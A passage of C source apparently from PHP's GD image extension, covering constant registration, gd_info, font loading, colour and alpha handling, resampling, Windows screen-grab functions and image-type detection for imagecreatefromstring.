REGISTER_LONG_CONSTANT("IMG_FILTER_PIXELATE", IMAGE_FILTER_PIXELATE, CONST_CS | CONST_PERSISTENT); /* End Section Filters */ #ifdef GD_VERSION_STRING REGISTER_STRING_CONSTANT("GD_VERSION", GD_VERSION_STRING, CONST_CS | CONST_PERSISTENT); #endif #if defined(GD_MAJOR_VERSION) && defined(GD_MINOR_VERSION) && defined(GD_RELEASE_VERSION) && defined(GD_EXTRA_VERSION) REGISTER_LONG_CONSTANT("GD_MAJOR_VERSION", GD_MAJOR_VERSION, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("GD_MINOR_VERSION", GD_MINOR_VERSION, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("GD_RELEASE_VERSION", GD_RELEASE_VERSION, CONST_CS | CONST_PERSISTENT); REGISTER_STRING_CONSTANT("GD_EXTRA_VERSION", GD_EXTRA_VERSION, CONST_CS | CONST_PERSISTENT); #endif #ifdef HAVE_GD_PNG /* * cannot include #include "png.h" * /usr/include/pngconf.h:310:2: error: #error png.h already includes setjmp.h with some additional fixup. * as error, use the values for now... */ REGISTER_LONG_CONSTANT("PNG_NO_FILTER", 0x00, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_NONE", 0x08, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_SUB", 0x10, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_UP", 0x20, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_AVG", 0x40, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_FILTER_PAETH", 0x80, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("PNG_ALL_FILTERS", 0x08 | 0x10 | 0x20 | 0x40 | 0x80, CONST_CS | CONST_PERSISTENT); #endif return SUCCESS; } /* }}} */ /* {{{ PHP_RSHUTDOWN_FUNCTION */ #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE PHP_RSHUTDOWN_FUNCTION(gd) { gdFontCacheShutdown(); return SUCCESS; } #endif /* }}} */ #if defined(HAVE_GD_BUNDLED) #define PHP_GD_VERSION_STRING "bundled (2.1.0 compatible)" #else # define PHP_GD_VERSION_STRING GD_VERSION_STRING #endif /* {{{ PHP_MINFO_FUNCTION */ PHP_MINFO_FUNCTION(gd) { php_info_print_table_start(); php_info_print_table_row(2, "GD Support", "enabled"); /* need to use a PHPAPI function here because it is external module in windows */ #if defined(HAVE_GD_BUNDLED) php_info_print_table_row(2, "GD Version", PHP_GD_VERSION_STRING); #else php_info_print_table_row(2, "GD headers Version", PHP_GD_VERSION_STRING); #if defined(HAVE_GD_LIBVERSION) php_info_print_table_row(2, "GD library Version", gdVersionString()); #endif #endif #ifdef ENABLE_GD_TTF php_info_print_table_row(2, "FreeType Support", "enabled"); #if HAVE_LIBFREETYPE php_info_print_table_row(2, "FreeType Linkage", "with freetype"); { char tmp[256]; #ifdef FREETYPE_PATCH snprintf(tmp, sizeof(tmp), "%d.%d.%d", FREETYPE_MAJOR, FREETYPE_MINOR, FREETYPE_PATCH); #elif defined(FREETYPE_MAJOR) snprintf(tmp, sizeof(tmp), "%d.%d", FREETYPE_MAJOR, FREETYPE_MINOR); #else snprintf(tmp, sizeof(tmp), "1.x"); #endif php_info_print_table_row(2, "FreeType Version", tmp); } #else php_info_print_table_row(2, "FreeType Linkage", "with unknown library"); #endif #endif #ifdef HAVE_LIBT1 php_info_print_table_row(2, "T1Lib Support", "enabled"); #endif php_info_print_table_row(2, "GIF Read Support", "enabled"); php_info_print_table_row(2, "GIF Create Support", "enabled"); #ifdef HAVE_GD_JPG { php_info_print_table_row(2, "JPEG Support", "enabled"); php_info_print_table_row(2, "libJPEG Version", gdJpegGetVersionString()); } #endif #ifdef HAVE_GD_PNG php_info_print_table_row(2, "PNG Support", "enabled"); php_info_print_table_row(2, "libPNG Version", gdPngGetVersionString()); #endif php_info_print_table_row(2, "WBMP Support", "enabled"); #if defined(HAVE_GD_XPM) php_info_print_table_row(2, "XPM Support", "enabled"); { char tmp[12]; snprintf(tmp, sizeof(tmp), "%d", XpmLibraryVersion()); php_info_print_table_row(2, "libXpm Version", tmp); } #endif php_info_print_table_row(2, "XBM Support", "enabled"); #if defined(USE_GD_JISX0208) php_info_print_table_row(2, "JIS-mapped Japanese Font Support", "enabled"); #endif #ifdef HAVE_GD_WEBP php_info_print_table_row(2, "WebP Support", "enabled"); #endif php_info_print_table_end(); DISPLAY_INI_ENTRIES(); } /* }}} */ /* {{{ proto array gd_info() */ PHP_FUNCTION(gd_info) { if (zend_parse_parameters_none() == FAILURE) { RETURN_FALSE; } array_init(return_value); add_assoc_string(return_value, "GD Version", PHP_GD_VERSION_STRING, 1); #ifdef ENABLE_GD_TTF add_assoc_bool(return_value, "FreeType Support", 1); #if HAVE_LIBFREETYPE add_assoc_string(return_value, "FreeType Linkage", "with freetype", 1); #else add_assoc_string(return_value, "FreeType Linkage", "with unknown library", 1); #endif #else add_assoc_bool(return_value, "FreeType Support", 0); #endif #ifdef HAVE_LIBT1 add_assoc_bool(return_value, "T1Lib Support", 1); #else add_assoc_bool(return_value, "T1Lib Support", 0); #endif add_assoc_bool(return_value, "GIF Read Support", 1); add_assoc_bool(return_value, "GIF Create Support", 1); #ifdef HAVE_GD_JPG add_assoc_bool(return_value, "JPEG Support", 1); #else add_assoc_bool(return_value, "JPEG Support", 0); #endif #ifdef HAVE_GD_PNG add_assoc_bool(return_value, "PNG Support", 1); #else add_assoc_bool(return_value, "PNG Support", 0); #endif add_assoc_bool(return_value, "WBMP Support", 1); #if defined(HAVE_GD_XPM) add_assoc_bool(return_value, "XPM Support", 1); #else add_assoc_bool(return_value, "XPM Support", 0); #endif add_assoc_bool(return_value, "XBM Support", 1); #ifdef HAVE_GD_WEBP add_assoc_bool(return_value, "WebP Support", 1); #else add_assoc_bool(return_value, "WebP Support", 0); #endif #if defined(USE_GD_JISX0208) add_assoc_bool(return_value, "JIS-mapped Japanese Font Support", 1); #else add_assoc_bool(return_value, "JIS-mapped Japanese Font Support", 0); #endif } /* }}} */ /* Need this for cpdf. See also comment in file.c php3i_get_le_fp() */ PHP_GD_API int phpi_get_le_gd(void) { return le_gd; } /* }}} */ #define FLIPWORD(a) (((a & 0xff000000) >> 24) | ((a & 0x00ff0000) >> 8) | ((a & 0x0000ff00) << 8) | ((a & 0x000000ff) << 24)) /* {{{ proto int imageloadfont(string filename) Load a new font */ PHP_FUNCTION(imageloadfont) { char *file; int file_name, hdr_size = sizeof(gdFont) - sizeof(char *); int ind, body_size, n = 0, b, i, body_size_check; gdFontPtr font; php_stream *stream; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_name) == FAILURE) { return; } stream = php_stream_open_wrapper(file, "rb", IGNORE_PATH | IGNORE_URL_WIN | REPORT_ERRORS, NULL); if (stream == NULL) { RETURN_FALSE; } /* Only supports a architecture-dependent binary dump format * at the moment. * The file format is like this on machines with 32-byte integers: * * byte 0-3: (int) number of characters in the font * byte 4-7: (int) value of first character in the font (often 32, space) * byte 8-11: (int) pixel width of each character * byte 12-15: (int) pixel height of each character * bytes 16-: (char) array with character data, one byte per pixel * in each character, for a total of * (nchars*width*height) bytes. */ font = (gdFontPtr) emalloc(sizeof(gdFont)); b = 0; while (b < hdr_size && (n = php_stream_read(stream, (char*)&font[b], hdr_size - b))) { b += n; } if (!n) { efree(font); if (php_stream_eof(stream)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "End of file while reading header"); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error while reading header"); } php_stream_close(stream); RETURN_FALSE; } i = php_stream_tell(stream); php_stream_seek(stream, 0, SEEK_END); body_size_check = php_stream_tell(stream) - hdr_size; php_stream_seek(stream, i, SEEK_SET); body_size = font->w * font->h * font->nchars; if (body_size != body_size_check) { font->w = FLIPWORD(font->w); font->h = FLIPWORD(font->h); font->nchars = FLIPWORD(font->nchars); body_size = font->w * font->h * font->nchars; } if (overflow2(font->nchars, font->h) || overflow2(font->nchars * font->h, font->w )) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error reading font, invalid font header"); efree(font); php_stream_close(stream); RETURN_FALSE; } if (body_size != body_size_check) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error reading font"); efree(font); php_stream_close(stream); RETURN_FALSE; } font->data = emalloc(body_size); b = 0; while (b < body_size && (n = php_stream_read(stream, &font->data[b], body_size - b))) { b += n; } if (!n) { efree(font->data); efree(font); if (php_stream_eof(stream)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "End of file while reading body"); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Error while reading body"); } php_stream_close(stream); RETURN_FALSE; } php_stream_close(stream); /* Adding 5 to the font index so we will never have font indices * that overlap with the old fonts (with indices 1-5). The first * list index given out is always 1. */ ind = 5 + zend_list_insert(font, le_gd_font TSRMLS_CC); RETURN_LONG(ind); } /* }}} */ /* {{{ proto bool imagesetstyle(resource im, array styles) Set the line drawing styles for use with imageline and IMG_COLOR_STYLED. */ PHP_FUNCTION(imagesetstyle) { zval *IM, *styles; gdImagePtr im; int * stylearr; int index; HashPosition pos; int num_styles; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ra", &IM, &styles) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); num_styles = zend_hash_num_elements(HASH_OF(styles)); if (num_styles == 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "styles array must not be empty"); RETURN_FALSE; } /* copy the style values in the stylearr */ stylearr = safe_emalloc(sizeof(int), num_styles, 0); zend_hash_internal_pointer_reset_ex(HASH_OF(styles), &pos); for (index = 0;; zend_hash_move_forward_ex(HASH_OF(styles), &pos)) { zval ** item; if (zend_hash_get_current_data_ex(HASH_OF(styles), (void **) &item, &pos) == FAILURE) { break; } if (Z_TYPE_PP(item) != IS_LONG) { zval lval; lval = **item; zval_copy_ctor(&lval); convert_to_long(&lval); stylearr[index++] = Z_LVAL(lval); } else { stylearr[index++] = Z_LVAL_PP(item); } } gdImageSetStyle(im, stylearr, index); efree(stylearr); RETURN_TRUE; } /* }}} */ /* {{{ proto resource imagecreatetruecolor(int x_size, int y_size) Create a new true color image */ PHP_FUNCTION(imagecreatetruecolor) { long x_size, y_size; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ll", &x_size, &y_size) == FAILURE) { return; } if (x_size <= 0 || y_size <= 0 || x_size >= INT_MAX || y_size >= INT_MAX) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid image dimensions"); RETURN_FALSE; } im = gdImageCreateTrueColor(x_size, y_size); if (!im) { RETURN_FALSE; } ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } /* }}} */ /* {{{ proto bool imageistruecolor(resource im) return true if the image uses truecolor */ PHP_FUNCTION(imageistruecolor) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_BOOL(im->trueColor); } /* }}} */ /* {{{ proto void imagetruecolortopalette(resource im, bool ditherFlag, int colorsWanted) Convert a true colour image to a palette based image with a number of colours, optionally using dithering. */ PHP_FUNCTION(imagetruecolortopalette) { zval *IM; zend_bool dither; long ncolors; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rbl", &IM, &dither, &ncolors) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (ncolors <= 0 || ncolors > INT_MAX) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number of colors has to be greater than zero and no more than %d", INT_MAX); RETURN_FALSE; } gdImageTrueColorToPalette(im, dither, (int)ncolors); RETURN_TRUE; } /* }}} */ /* {{{ proto void imagetruecolortopalette(resource im, bool ditherFlag, int colorsWanted) Convert a true colour image to a palette based image with a number of colours, optionally using dithering. */ PHP_FUNCTION(imagepalettetotruecolor) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (gdImagePaletteToTrueColor(im) == 0) { RETURN_FALSE; } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecolormatch(resource im1, resource im2) Makes the colors of the palette version of an image more closely match the true color version */ PHP_FUNCTION(imagecolormatch) { zval *IM1, *IM2; gdImagePtr im1, im2; int result; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &IM1, &IM2) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im1, gdImagePtr, &IM1, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im2, gdImagePtr, &IM2, -1, "Image", le_gd); result = gdImageColorMatch(im1, im2); switch (result) { case -1: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image1 must be TrueColor" ); RETURN_FALSE; break; case -2: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image2 must be Palette" ); RETURN_FALSE; break; case -3: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image1 and Image2 must be the same size" ); RETURN_FALSE; break; case -4: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Image2 must have at least one color" ); RETURN_FALSE; break; } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesetthickness(resource im, int thickness) Set line thickness for drawing lines, ellipses, rectangles, polygons etc. */ PHP_FUNCTION(imagesetthickness) { zval *IM; long thick; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &thick) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageSetThickness(im, thick); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilledellipse(resource im, int cx, int cy, int w, int h, int color) Draw an ellipse */ PHP_FUNCTION(imagefilledellipse) { zval *IM; long cx, cy, w, h, color; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &cx, &cy, &w, &h, &color) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFilledEllipse(im, cx, cy, w, h, color); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilledarc(resource im, int cx, int cy, int w, int h, int s, int e, int col, int style) Draw a filled partial ellipse */ PHP_FUNCTION(imagefilledarc) { zval *IM; long cx, cy, w, h, ST, E, col, style; gdImagePtr im; int e, st; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllllllll", &IM, &cx, &cy, &w, &h, &ST, &E, &col, &style) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); e = E; if (e < 0) { e %= 360; } st = ST; if (st < 0) { st %= 360; } gdImageFilledArc(im, cx, cy, w, h, st, e, col, style); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagealphablending(resource im, bool on) Turn alpha blending mode on or off for the given image */ PHP_FUNCTION(imagealphablending) { zval *IM; zend_bool blend; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rb", &IM, &blend) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageAlphaBlending(im, blend); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesavealpha(resource im, bool on) Include alpha channel to a saved image */ PHP_FUNCTION(imagesavealpha) { zval *IM; zend_bool save; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rb", &IM, &save) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageSaveAlpha(im, save); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagelayereffect(resource im, int effect) Set the alpha blending flag to use the bundled libgd layering effects */ PHP_FUNCTION(imagelayereffect) { zval *IM; long effect; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &effect) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageAlphaBlending(im, effect); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagecolorallocatealpha(resource im, int red, int green, int blue, int alpha) Allocate a color with an alpha level. Works for true color and palette based images */ PHP_FUNCTION(imagecolorallocatealpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; int ct = (-1); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ct = gdImageColorAllocateAlpha(im, red, green, blue, alpha); if (ct < 0) { RETURN_FALSE; } RETURN_LONG((long)ct); } /* }}} */ /* {{{ proto int imagecolorresolvealpha(resource im, int red, int green, int blue, int alpha) Resolve/Allocate a colour with an alpha level. Works for true colour and palette based images */ PHP_FUNCTION(imagecolorresolvealpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorResolveAlpha(im, red, green, blue, alpha)); } /* }}} */ /* {{{ proto int imagecolorclosestalpha(resource im, int red, int green, int blue, int alpha) Find the closest matching colour with alpha transparency */ PHP_FUNCTION(imagecolorclosestalpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorClosestAlpha(im, red, green, blue, alpha)); } /* }}} */ /* {{{ proto int imagecolorexactalpha(resource im, int red, int green, int blue, int alpha) Find exact match for colour with transparency */ PHP_FUNCTION(imagecolorexactalpha) { zval *IM; long red, green, blue, alpha; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorExactAlpha(im, red, green, blue, alpha)); } /* }}} */ /* {{{ proto bool imagecopyresampled(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h) Copy and resize part of an image using resampling to help ensure clarity */ PHP_FUNCTION(imagecopyresampled) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, DW, DH; gdImagePtr im_dst, im_src; int srcH, srcW, dstH, dstW, srcY, srcX, dstY, dstX; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrllllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &DW, &DH, &SW, &SH) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; dstH = DH; dstW = DW; gdImageCopyResampled(im_dst, im_src, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); RETURN_TRUE; } /* }}} */ #ifdef PHP_WIN32 /* {{{ proto resource imagegrabwindow(int window_handle [, int client_area]) Grab a window or its client area using a windows handle (HWND property in COM instance) */ PHP_FUNCTION(imagegrabwindow) { HWND window; long client_area = 0; RECT rc = {0}; RECT rc_win = {0}; int Width, Height; HDC hdc; HDC memDC; HBITMAP memBM; HBITMAP hOld; HINSTANCE handle; long lwindow_handle; typedef BOOL (WINAPI *tPrintWindow)(HWND, HDC,UINT); tPrintWindow pPrintWindow = 0; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l|l", &lwindow_handle, &client_area) == FAILURE) { RETURN_FALSE; } window = (HWND) lwindow_handle; if (!IsWindow(window)) { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Invalid window handle"); RETURN_FALSE; } hdc = GetDC(0); if (client_area) { GetClientRect(window, &rc); Width = rc.right; Height = rc.bottom; } else { GetWindowRect(window, &rc); Width = rc.right - rc.left; Height = rc.bottom - rc.top; } Width = (Width/4)*4; memDC = CreateCompatibleDC(hdc); memBM = CreateCompatibleBitmap(hdc, Width, Height); hOld = (HBITMAP) SelectObject (memDC, memBM); handle = LoadLibrary("User32.dll"); if ( handle == 0 ) { goto clean; } pPrintWindow = (tPrintWindow) GetProcAddress(handle, "PrintWindow"); if ( pPrintWindow ) { pPrintWindow(window, memDC, (UINT) client_area); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Windows API too old"); goto clean; } FreeLibrary(handle); im = gdImageCreateTrueColor(Width, Height); if (im) { int x,y; for (y=0; y <= Height; y++) { for (x=0; x <= Width; x++) { int c = GetPixel(memDC, x,y); gdImageSetPixel(im, x, y, gdTrueColor(GetRValue(c), GetGValue(c), GetBValue(c))); } } } clean: SelectObject(memDC,hOld); DeleteObject(memBM); DeleteDC(memDC); ReleaseDC( 0, hdc ); if (!im) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } } /* }}} */ /* {{{ proto resource imagegrabscreen() Grab a screenshot */ PHP_FUNCTION(imagegrabscreen) { HWND window = GetDesktopWindow(); RECT rc = {0}; int Width, Height; HDC hdc; HDC memDC; HBITMAP memBM; HBITMAP hOld; typedef BOOL (WINAPI *tPrintWindow)(HWND, HDC,UINT); tPrintWindow pPrintWindow = 0; gdImagePtr im; hdc = GetDC(0); if (zend_parse_parameters_none() == FAILURE) { return; } if (!hdc) { RETURN_FALSE; } GetWindowRect(window, &rc); Width = rc.right - rc.left; Height = rc.bottom - rc.top; Width = (Width/4)*4; memDC = CreateCompatibleDC(hdc); memBM = CreateCompatibleBitmap(hdc, Width, Height); hOld = (HBITMAP) SelectObject (memDC, memBM); BitBlt( memDC, 0, 0, Width, Height , hdc, rc.left, rc.top , SRCCOPY ); im = gdImageCreateTrueColor(Width, Height); if (im) { int x,y; for (y=0; y <= Height; y++) { for (x=0; x <= Width; x++) { int c = GetPixel(memDC, x,y); gdImageSetPixel(im, x, y, gdTrueColor(GetRValue(c), GetGValue(c), GetBValue(c))); } } } SelectObject(memDC,hOld); DeleteObject(memBM); DeleteDC(memDC); ReleaseDC( 0, hdc ); if (!im) { RETURN_FALSE; } else { ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } } /* }}} */ #endif /* PHP_WIN32 */ /* {{{ proto resource imagerotate(resource src_im, float angle, int bgdcolor [, int ignoretransparent]) Rotate an image using a custom angle */ PHP_FUNCTION(imagerotate) { zval *SIM; gdImagePtr im_dst, im_src; double degrees; long color; long ignoretransparent = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rdl|l", &SIM, &degrees, &color, &ignoretransparent) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); im_dst = gdImageRotateInterpolated(im_src, (const float)degrees, color); if (im_dst != NULL) { ZEND_REGISTER_RESOURCE(return_value, im_dst, le_gd); } else { RETURN_FALSE; } } /* }}} */ /* {{{ proto bool imagesettile(resource image, resource tile) Set the tile image to $tile when filling $image with the "IMG_COLOR_TILED" color */ PHP_FUNCTION(imagesettile) { zval *IM, *TILE; gdImagePtr im, tile; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &IM, &TILE) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(tile, gdImagePtr, &TILE, -1, "Image", le_gd); gdImageSetTile(im, tile); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesetbrush(resource image, resource brush) Set the brush image to $brush when filling $image with the "IMG_COLOR_BRUSHED" color */ PHP_FUNCTION(imagesetbrush) { zval *IM, *TILE; gdImagePtr im, tile; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &IM, &TILE) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(tile, gdImagePtr, &TILE, -1, "Image", le_gd); gdImageSetBrush(im, tile); RETURN_TRUE; } /* }}} */ /* {{{ proto resource imagecreate(int x_size, int y_size) Create a new image */ PHP_FUNCTION(imagecreate) { long x_size, y_size; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ll", &x_size, &y_size) == FAILURE) { return; } if (x_size <= 0 || y_size <= 0 || x_size >= INT_MAX || y_size >= INT_MAX) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid image dimensions"); RETURN_FALSE; } im = gdImageCreate(x_size, y_size); if (!im) { RETURN_FALSE; } ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } /* }}} */ /* {{{ proto int imagetypes(void) Return the types of images supported in a bitfield - 1=GIF, 2=JPEG, 4=PNG, 8=WBMP, 16=XPM */ PHP_FUNCTION(imagetypes) { int ret=0; ret = 1; #ifdef HAVE_GD_JPG ret |= 2; #endif #ifdef HAVE_GD_PNG ret |= 4; #endif ret |= 8; #if defined(HAVE_GD_XPM) ret |= 16; #endif #ifdef HAVE_GD_WEBP ret |= 32; #endif if (zend_parse_parameters_none() == FAILURE) { return; } RETURN_LONG(ret); } /* }}} */ /* {{{ _php_ctx_getmbi */ static int _php_ctx_getmbi(gdIOCtx *ctx) { int i, mbi = 0; do { i = (ctx->getC)(ctx); if (i < 0) { return -1; } mbi = (mbi << 7) | (i & 0x7f); } while (i & 0x80); return mbi; } /* }}} */ /* {{{ _php_image_type */ static const char php_sig_gd2[3] = {'g', 'd', '2'}; static int _php_image_type (char data[8]) { /* Based on ext/standard/image.c */ if (data == NULL) { return -1; } if (!memcmp(data, php_sig_gd2, 3)) { return PHP_GDIMG_TYPE_GD2; } else if (!memcmp(data, php_sig_jpg, 3)) { return PHP_GDIMG_TYPE_JPG; } else if (!memcmp(data, php_sig_png, 3)) { if (!memcmp(data, php_sig_png, 8)) { return PHP_GDIMG_TYPE_PNG; } } else if (!memcmp(data, php_sig_gif, 3)) { return PHP_GDIMG_TYPE_GIF; } else { gdIOCtx *io_ctx; io_ctx = gdNewDynamicCtxEx(8, data, 0); if (io_ctx) { if (_php_ctx_getmbi(io_ctx) == 0 && _php_ctx_getmbi(io_ctx) >= 0) { io_ctx->gd_free(io_ctx); return PHP_GDIMG_TYPE_WBM; } else { io_ctx->gd_free(io_ctx); } } } return -1; } /* }}} */ /* {{{ _php_image_create_from_string */ gdImagePtr _php_image_create_from_string(zval **data, char *tn, gdImagePtr (*ioctx_func_p)() TSRMLS_DC) { gdImagePtr im; gdIOCtx *io_ctx; io_ctx = gdNewDynamicCtxEx(Z_STRLEN_PP(data), Z_STRVAL_PP(data), 0); if (!io_ctx) { return NULL; } im = (*ioctx_func_p)(io_ctx); if (!im) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Passed data is not in '%s' format", tn); io_ctx->gd_free(io_ctx); return NULL; } io_ctx->gd_free(io_ctx); return im; } /* }}} */ /* {{{ proto resource imagecreatefromstring(string image) Create a new image from the image stream in the string */ PHP_FUNCTION(imagecreatefromstring) { zval **data; gdImagePtr im; int imtype; char sig[8]; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Z", &data) == FAILURE) { return; } convert_to_string_ex(data); if (Z_STRLEN_PP(data) < 8) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Empty string or invalid image"); RETURN_FALSE; } memcpy(sig, Z_STRVAL_PP(data), 8); imtype = _php_image_type(sig); switch (imtype) { case PHP_GDIMG_TYPE_JPG: #ifdef HAVE_GD_JPG im = _php_image_create_from_string(data, "JPEG", gdImageCreateFromJpegCtx TSRMLS_CC); #else php_error_docref(NULL TSRMLS_CC, E_WARNING, "No JPEG support in this PHP build"); RETURN_FALSE; #endif break; case PHP_GDIMG_TYPE_PNG: #ifdef HAVE_GD_PNG im = _php_image_create_from_string(data, "PNG", gdImageCreateFromPngCtx TSRMLS_CC); #else php_error_docref(NULL TSRMLS_CC, E_WARNING, "No PNG support in this PHP build"); RETURN_FALSE; #endif break; case PHP_GDIMG_TYPE_GIF: im = _php_image_create_from_string(data, "GIF", gdImageCreateFromGifCtx TSRMLS_CC); break; case PHP_GDIMG_TYPE_WBM: im = _php_image_create_from_string(data, "WBMP", gdImageCreateFromWBMPCtx TSRMLS_CC); break; case PHP_GDIMG_TYPE_GD2: im = _php_image_create_from_string(data, "GD2", gdImageCreateFromGd2Ctx TSRMLS_CC); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Data is not in a recognized format"); RETURN_FALSE; } if (!im) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't create GD Image Stream out of Data"); RETURN_FALSE; } ZEND_REGISTER_RESOURCE(return_value, im, le_gd); } /* }}} */ /* {{{ _php_image_create_from */ static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type, char 